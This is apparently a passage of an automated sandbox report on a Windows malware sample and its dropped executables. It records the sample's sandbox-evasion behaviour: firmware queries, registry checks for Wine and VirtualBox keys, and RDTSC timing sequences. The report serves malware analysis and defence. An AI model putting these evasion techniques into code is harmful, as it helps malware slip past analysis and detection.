Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E025BA second address: E025C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E025C5 second address: E025EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FDE71263CE6h 0x00000011 jl 00007FDE71263CE6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E168A6 second address: E168B4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jno 00007FDE70D000C6h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E168B4 second address: E168B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E168B8 second address: E168D8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jns 00007FDE70D000C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDE70D000CEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E168D8 second address: E168E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FDE71263CE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E168E8 second address: E16900 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16F7F second address: E16F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16F84 second address: E16F8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16F8A second address: E16F9F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDE71263CE6h 0x00000008 jc 00007FDE71263CE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16F9F second address: E16FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDE70D000D4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16FBE second address: E16FCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FDE71263CE6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16FCE second address: E16FD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16FD2 second address: E16FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16FD8 second address: E16FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E172D9 second address: E1731A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF7h 0x00000007 jmp 00007FDE71263CF8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007FDE71263CE6h 0x00000016 jo 00007FDE71263CE6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1731A second address: E17320 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A0B0 second address: E1A0B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A0B6 second address: E1A0D1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE70D000C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FDE70D000CCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A0D1 second address: E1A0DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FDE71263CE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A0DB second address: E1A135 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDE70D000C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jnl 00007FDE70D000CEh 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007FDE70D000D6h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 je 00007FDE70D000DEh 0x00000029 jmp 00007FDE70D000D8h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A1A8 second address: E1A1CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007FDE71263CFFh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A1CF second address: E1A21A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE70D000D1h 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007FDE70D000D0h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push edi 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FDE70D000D2h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A21A second address: E1A265 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pop eax 0x0000000b mov edi, 5D8F740Ch 0x00000010 push 00000003h 0x00000012 push 00000000h 0x00000014 or ecx, dword ptr [ebp+122D2C47h] 0x0000001a push 00000003h 0x0000001c mov dword ptr [ebp+122D2AF9h], edx 0x00000022 call 00007FDE71263CE9h 0x00000027 jnp 00007FDE71263CECh 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 push edx 0x00000034 pop edx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A352 second address: E1A356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A356 second address: E1A366 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A366 second address: E1A38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 nop 0x00000007 mov cl, 4Ah 0x00000009 push 00000000h 0x0000000b call 00007FDE70D000C9h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDE70D000D0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A38C second address: E1A3FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jmp 00007FDE71263CF1h 0x00000010 pop esi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007FDE71263CF3h 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007FDE71263CF0h 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 pushad 0x00000026 jmp 00007FDE71263CF5h 0x0000002b push eax 0x0000002c push edx 0x0000002d je 00007FDE71263CE6h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A533 second address: E1A537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A537 second address: E1A603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FDE71263CFFh 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 call 00007FDE71263CEAh 0x00000015 push ebx 0x00000016 movzx edi, bx 0x00000019 pop ecx 0x0000001a pop esi 0x0000001b push 00000000h 0x0000001d or ecx, dword ptr [ebp+122D1C08h] 0x00000023 push 31B3FA30h 0x00000028 jmp 00007FDE71263CEBh 0x0000002d xor dword ptr [esp], 31B3FAB0h 0x00000034 xor dword ptr [ebp+122D1D20h], eax 0x0000003a pushad 0x0000003b push edi 0x0000003c jmp 00007FDE71263CF5h 0x00000041 pop esi 0x00000042 jmp 00007FDE71263CF3h 0x00000047 popad 0x00000048 push 00000003h 0x0000004a pushad 0x0000004b pushad 0x0000004c mov dword ptr [ebp+122D2195h], edi 0x00000052 mov eax, dword ptr [ebp+122D2C67h] 0x00000058 popad 0x00000059 adc si, 614Eh 0x0000005e popad 0x0000005f push 00000000h 0x00000061 mov dword ptr [ebp+122D1D43h], edx 0x00000067 push 00000003h 0x00000069 mov edi, dword ptr [ebp+122D2D53h] 0x0000006f cld 0x00000070 call 00007FDE71263CE9h 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007FDE71263CEFh 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A603 second address: E1A626 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDE70D000C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FDE70D000CDh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A626 second address: E1A62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A62A second address: E1A641 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A641 second address: E1A669 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FDE71263CF1h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007FDE71263CE8h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A669 second address: E1A6A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a lea ebx, dword ptr [ebp+1245A013h] 0x00000010 and esi, 50E2A92Eh 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FDE70D000D9h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C742 second address: E0C748 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37E4F second address: E37E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37E53 second address: E37E5C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37E5C second address: E37E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37FBD second address: E37FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E37FC1 second address: E37FFA instructions: 0x00000000 rdtsc 0x00000002 js 00007FDE70D000C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 ja 00007FDE70D000C6h 0x00000017 pop edx 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b jnl 00007FDE70D000C6h 0x00000021 jbe 00007FDE70D000C6h 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a ja 00007FDE70D000CCh 0x00000030 push edi 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E384CA second address: E384D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E384D0 second address: E384D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E384D4 second address: E384DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E384DF second address: E384ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 je 00007FDE70D000C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E384ED second address: E384F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E384F3 second address: E3850C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FDE70D000C6h 0x0000000d jmp 00007FDE70D000CCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3878E second address: E38793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38793 second address: E3879D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDE70D000CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38A14 second address: E38A1E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDE71263CE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38B9C second address: E38BB7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FDE70D000D5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38BB7 second address: E38BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E394A0 second address: E394B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000CDh 0x00000007 je 00007FDE70D000CCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E395F5 second address: E395FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E0C5 second address: E3E0E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE70D000CCh 0x00000008 jo 00007FDE70D000C6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E0E7 second address: E3E0EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E0EB second address: E3E0F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E0F1 second address: E3E0F6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E0F6 second address: E3E108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jng 00007FDE70D000D4h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E108 second address: E3E120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDE71263CE6h 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007FDE71263CE6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40F69 second address: E40F7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE70D000CCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40F7F second address: E40F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45625 second address: E4563B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4563B second address: E45647 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDE71263CEEh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8723 second address: DF8727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8727 second address: DF874F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDE71263CEDh 0x0000000c jmp 00007FDE71263CF2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44BAE second address: E44BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE70D000CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44BC1 second address: E44BC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
